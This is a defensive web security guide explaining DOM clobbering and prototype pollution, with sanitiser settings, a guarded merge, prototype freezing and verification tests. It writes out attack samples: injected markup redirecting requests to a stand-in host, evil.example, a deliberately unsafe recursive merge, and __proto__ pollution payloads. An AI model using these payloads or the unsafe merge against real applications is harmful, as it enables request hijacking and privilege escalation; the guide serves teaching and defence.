DOM Clobbering and Prototype Pollution Defense
Both of these vulnerabilities share an unsettling property: the payload contains no script, so nothing an injection filter is looking for is present. In one, markup creates a global reference that shadows a variable your code reads. In the other, a data key rewrites a prototype so that every object in the process suddenly answers a property it never had. In both cases your own legitimate code does the damage, which is why a strict script policy does not help and a scanner reports the page as clean.
This guide covers how each works and what actually stops it. It is part of the DOM-Based Vulnerability Sanitization guide within Vulnerability Patterns & Web Mitigation Strategies, and it complements the sink discipline described in XSS mitigation.
Prerequisites
- An application that either accepts user-supplied markup or merges external data into objects
- A sanitiser you can configure, if markup is involved
- A test suite able to assert on global state and prototype properties
- A build you can add a small runtime guard to
Expected Outcomes
- No code path resolving configuration or elements through implicitly created globals
- Sanitised markup stripped of the attributes that create those globals
- Recursive merge either removed or guarded against prototype keys
- Prototypes frozen in production, with option objects created without one
Step 1: Understand How Markup Becomes a Variable
Browsers expose named elements as properties of the document and, for some, of the global object. An attacker who can place markup on your page can therefore create a reference with a chosen name, and any code that reads that name gets an element instead of what it expected.
<!-- Injected in a comment body that the sanitiser allowed, because it contains no script -->
<a id="config" href="https://evil.example/x"></a>
<form name="settings"><input name="apiBase" value="https://evil.example"></form>
// Elsewhere, entirely legitimate code, written years earlier:
const endpoint = window.config?.apiBase || '/api'; // now resolves to the injected element
fetch(endpoint + '/session'); // requests go to the attacker's host
Nothing here is a script injection. The sanitiser saw an anchor and a form, both harmless-looking, and the vulnerability lives entirely in a global lookup your own code performs.
// Configure the sanitiser to remove the attributes that create references.
const clean = DOMPurify.sanitize(userHtml, {
FORBID_ATTR: ['id', 'name'], // no injected element can be reachable by name
FORBID_TAGS: ['form', 'input', 'base'],
});
// And stop reading globals by name in the first place.
import { apiBase } from './config'; // resolved at build time
const endpoint = apiBase; // no lookup an element can shadow
Step 2: Understand How a Data Key Rewrites Every Object
Prototype pollution needs no markup at all — only a recursive merge and a key you did not filter.
// A utility that appears in nearly every codebase, in some form.
function merge(target, source) {
for (const key in source) {
if (typeof source[key] === 'object' && source[key] !== null) {
target[key] = merge(target[key] ?? {}, source[key]); // recurses into __proto__ too
} else {
target[key] = source[key];
}
}
return target;
}
merge({}, JSON.parse('{"__proto__": {"isAdmin": true}}'));
// From this moment, in this process:
({}).isAdmin; // true
user.isAdmin; // true, for every user object that does not define it
The consequences depend on what your code checks. A polluted isAdmin grants privileges; a polluted template option enables a dangerous mode; a polluted callback name turns a benign library into a gadget. The common thread is that a property nobody set now answers everywhere.
// Fix 1: reject the dangerous keys, and iterate own properties only.
const BLOCKED = new Set(['__proto__', 'constructor', 'prototype']);
function safeMerge(target, source) {
for (const key of Object.keys(source)) { // own enumerable keys only
if (BLOCKED.has(key)) continue; // never recurse into these
const value = source[key];
if (value && typeof value === 'object' && !Array.isArray(value)) {
target[key] = safeMerge(Object.create(null), value); // no prototype to pollute
} else {
target[key] = value;
}
}
return target;
}
// Fix 2, better where possible: do not merge at all.
const opts = {
locale: Locales.parse(input.locale),
pageSize: clampInt(input.pageSize, 1, 100),
}; // explicit fields, nothing else copied
Step 3: Make the Runtime Hostile to Both
// Run after all libraries have loaded — in production and in the full test run.
if (import.meta.env.PROD) {
Object.freeze(Object.prototype);
Object.freeze(Array.prototype);
Object.freeze(Function.prototype);
Object.freeze(Object);
}
// Parse untrusted JSON into prototype-less objects.
const config = JSON.parse(raw, function reviver(key, value) {
if (key === '__proto__' || key === 'constructor') return undefined;
if (value && typeof value === 'object' && !Array.isArray(value)) {
return Object.assign(Object.create(null), value);
}
return value;
});
Freezing is a blunt instrument, and that is the point: an assignment to a frozen prototype fails, so the pollution never lands. Do it after libraries load, and run the whole suite afterwards — a library that patches a built-in prototype at load time will fail loudly, which is worth knowing regardless of this vulnerability.
Verification
// 1. Clobbering: injected named markup must not be reachable as a global.
it('injected names do not shadow application globals', () => {
document.body.innerHTML = sanitize('<a id="config" href="https://evil.example"></a>');
expect(window.config).toBeUndefined();
expect(document.getElementById('config')).toBeNull(); // stripped, not merely shadowed
});
// 2. Pollution: a payload must not reach Object.prototype.
it('merge does not pollute the prototype', () => {
safeMerge({}, JSON.parse('{"__proto__":{"polluted":true}}'));
expect({}.polluted).toBeUndefined();
});
// 3. Pollution through a nested path is equally refused.
it('nested constructor path is refused', () => {
safeMerge({}, JSON.parse('{"constructor":{"prototype":{"polluted":true}}}'));
expect({}.polluted).toBeUndefined();
});
// 4. The freeze is actually active in a production build.
it('prototypes are frozen in production', () => {
expect(Object.isFrozen(Object.prototype)).toBe(true);
});
Run the pollution tests in a fresh worker or process. A polluted prototype persists for the rest of the run, so a test that pollutes will silently change the behaviour of everything after it — including, occasionally, making a later assertion pass for the wrong reason.
Troubleshooting
| Symptom | Likely cause | Fix |
|---|---|---|
| Sanitised content loses required anchors | Identifier attributes stripped wholesale | Allow a prefixed identifier the application generates, never one from the input |
| Pollution test passes alone, fails in the suite | Earlier test polluted the shared prototype | Isolate the tests in a fresh process or worker |
| Freezing breaks a dependency at startup | The library patches a built-in prototype on load | Freeze after all imports; decide deliberately whether to keep that dependency |
| Query-string parsing pollutes | Parser builds nested objects from bracket notation | Configure the parser to disable prototype keys and limit depth |
| Objects without a prototype break a library | The library calls inherited methods on the object | Convert to a plain object at the boundary, after validation |
| Clobbering persists despite stripping | The application reads a global the framework also defines | Move configuration into module scope and stop reading globals |
Common Implementation Mistakes
Frequently Asked Questions
Is DOM clobbering still relevant in modern frameworks?
Yes, wherever user-supplied markup reaches the page: comment bodies, rich text fields, imported documents, email previews. Frameworks protect their own rendering path, but not a sanitised HTML blob you deliberately insert. It also survives strict script policies entirely, because no script is injected — the attack changes what your existing, perfectly legitimate code reads, which is precisely why it is missed by controls aimed at script execution.
Does freezing prototypes break libraries?
Occasionally, and finding out is valuable. A library that patches built-in prototypes at load time fails loudly under a freeze, which tells you something useful about your dependency set. Freeze after all libraries have loaded, run the full suite, and if one dependency genuinely needs an unfrozen prototype, make that a deliberate decision — the decision is often worth more than the freeze.
Which is the more common of the two in practice?
Prototype pollution, by a wide margin, because recursive merge appears in configuration loading, query-string parsing, form handling and dozens of small utilities that nobody thinks of as security-relevant. Clobbering requires user-supplied markup to reach the page, which narrows the exposure. But clobbering is far more surprising when it happens, because nothing in the payload resembles code and every scanner reports the page as clean.
Related
- DOM-Based Vulnerability Sanitization — the parent guide covering source-to-sink discipline
- Rolling Out Trusted Types in a Legacy App — removing the sinks these attacks eventually reach
- Cross-Site Scripting (XSS) Mitigation — the broader injection class
- Safe Deserialization in Python and Node.js — the server-side sibling of prototype pollution